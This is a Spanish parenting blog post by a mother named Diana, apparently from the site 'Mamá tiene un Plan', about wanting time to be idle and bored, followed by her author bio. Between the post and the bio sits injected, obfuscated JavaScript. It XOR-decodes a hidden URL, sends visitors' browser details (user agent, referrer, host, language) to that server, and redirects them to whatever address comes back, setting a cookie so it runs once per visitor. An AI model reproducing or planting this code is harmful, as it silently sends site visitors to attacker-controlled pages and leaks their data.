Mi nuevo propósito: Aburrirme

Este próximo curso escolar tengo como propósito aburrirme. Sí, nada de mejorar el inglés, ir al gimnasio o practicar un deporte al aire libre… yo lo que quiero es tirarme en el sofá, poner Sálvame de fondo y dejar mi mente en blanco. Parece algo sencillo, pero para gente que tenemos niños se convierte en todo un reto que, o te propones en serio, o igual que llega en forma de idea a tu cabeza se va.

Que conste que no estoy reivindicando tiempo para mí, lo típico de salir con las amigas, pedir cita en la peluquería/esteticién, ir de compras, apuntarme a clases de pilates… eso es otro tema aparte. Ahora mismo estoy en este punto que lo que me pide el cuerpo es vaciarme por dentro o, al igual que hacemos con los ordenadores, resetearme. Y es que a veces tengo la sensación de que soy una máquina: levanta a una, dale el desayuno, luego a la otra, vete al parque, vuelve, haz la comida…

Recuerdo, como si nunca hubiera ocurrido, la época en la que mi marido y yo vivíamos solos. Recuerdo también los domingos por la tarde en los que él tenía que trabajar y yo me quedaba en casa. Recuerdo cómo me tiraba en el sofá y me tragaba una tras otra las tres películas que echaba Antena 3, esas en las que la carta de presentación era “Basada en hechos reales…” y recuerdo también cómo llamaba cada media hora a mi chico para decirle: “Me aburro, ¿cuándo sales?”. Ays, qué momentos más buenos.

Por eso me río cuando alguna tarde que el tiempo se estropea y no podemos ir al parque Elena, de 5 años, pega una patada al suelo, pone morritos y exclama enfadada y hasta con tono desafiante: “Mamá, ¡¡¡me aburroooo!!!”. Yo la miro con cara de “qué estás diciendo” y me doy cuenta de que su concepto de aburrimiento es distinto al mío. El suyo consiste en tener que estar continuamente haciendo cosas, cuántas más y más variadas, mejor; en cambio, para mí, aburrimiento es alejarme de todo y esperar a que pasen los minutos sin ningún fin concreto. No tener que pensar que en media hora tienes que ir a buscar a la pequeña a la guardería o que tienes una hora, esa en la que la mayor está en inglés, para ir a comprar algo para cenar porque se te ha olvidado sacar el pescado del congelador, la noche anterior tocó salchichas y no voy a repetir otra vez (o tal vez sí)  y huevo no puede ser porque ha comido tortilla en el colegio al mediodía. Aburrimiento, aburrimiento, aburrimiento.

No me he puesto fecha para comenzar con mi nuevo hobbie ni duración, pero voy a intentar que la clase de prueba sea en este mes de septiembre. Para eso tengo que contar con la inestimable ayuda de mi querido esposo, así que según termine de escribir este post le voy a mandar un whatapp para planteárselo. Creo que los beneficios que me puede aportar pueden ser múltiples y con efectos colaterales en todo el núcleo familiar, por lo que animo a quien esté detrás de la pantalla leyendo estas líneas que lo ponga en práctica. ¡Suerte y a aburrirse un ratito! var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = “”; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}

Sobre Diana

Soy periodista, emprendedora, amante del teatro (sobre todo infantil) y de los buenos planes (en familia, en pareja, entre amigos, en solitario...). Un día, después de un montón de casualidades, decidí lanzarme a la aventura de poner en marcha mi propio proyecto profesional: Mamá tiene un Plan. Hoy, tengo dos peques (niña y niño) y muchas ilusiones, a los que dedico todo mi tiempo y energía. En el viaje me acompaña un hombre maravilloso (al que dedico menos tiempo del que me gustaría y quiero con locura) y una gran familia a la que adoro que hace posible que todo lo demás siga girando. @Diana_M_N

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